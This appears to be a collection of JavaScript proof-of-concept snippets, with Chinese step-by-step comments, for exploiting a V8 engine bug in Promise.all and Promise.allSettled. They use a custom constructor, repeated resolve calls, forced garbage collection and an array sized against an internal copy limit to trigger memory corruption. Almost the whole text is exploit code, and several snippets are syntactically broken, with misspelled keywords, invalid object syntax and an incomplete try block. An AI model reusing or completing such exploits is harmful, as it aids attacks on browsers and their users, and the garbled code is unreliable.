var closure;
    function Constructor(executor){//1：按照ECMAScript标准创建Promise构造器
        executor(v=>v,e=>e);
    }
    Constructor.resolve=function(v){//2：定义构造器resolve方法，这里只是简单的return参数。
       return v;
    }
    let p1={//3：创建参数对象，对象内的then方法将onFul内部对象传递给closure
        then(onFul,obRej){
            closure=onFul;
            closure(1);//4：将closure赋值为onFul对象，然后对closure闭包调用，也就是到达补丁注释的情况。
         }
     };
     async function foo(){
     await Promise.all.call(Constructor,[p1]);//5：将构造器和构造好的p1对象传入到Promise.all.call，为了确保closure能够调用完成，这里用了await等待调用结束。
     await bar(1);
    }
    async function bar(x){
         await x;
         throw new Error();//6抛出异常，让之后的catch能够捕获到异常，然后访问错误堆栈。
    }
    foo().then(a).catch(e=>console.log(e.stack))//7：接收异常，访问异常e的堆栈e.stack，触发漏洞。

 function Constructor(executor)
 {
   executor(v=>v,e=>e);
 }
 Constructor.resolve=function(v){
   return v;
 }
 let p1={
   then(onFul,onRej){
       onFul();
   }
 }
 async funcrion foo()
 {
    await Promise.all.call(Constructor,[p1]);
 }

 function Constructor(executor)
 {
   executor(v=>{console.log('haha')},e=>console.log('hehe'));
 }
 Constructor.resolve=function(){
   then(onFul,onRej){
       onFul();
       onRej();
   }
 }
 async funcrion foo()
 {
    await Promise.all.call(Constructor,[1]);
 }
 foo();

 function Constructor(executor)
 {
    executor(v=>{console.log('haha')},e=>console.log('hehe'));
 }
 Constructor.resolve=function(){
   return {
   then(onFul,onRej){
       onFul();
        onRej();
   }
   }
 }
 async funcrion foo()
 {
    await Promise.allSettled.call(Constructor,[1]);
 }
 foo();

 var gc=function(){
    try{new ArrayBuffer(0x7fe00000)}
 }
 var resolve=null;
 function Constructor(executor){
    executor(v=>{v.shift();gc();gc()},e=>{e});
 }
 Constructor.resolve=function(){
     return {
      then(onFul,onRej){
      if(null==resolve)
      {
          resolve=onFul;
      }  
      else{
           onFul();
          onRej();
      }
      } 
    }
 }
 async function foo()
 {
    var array=Array(102);//<=JSArray::kMaxCopyElements+2
    await Promise.all.call(Constructor,array);
    resolve();
 }
 foo()；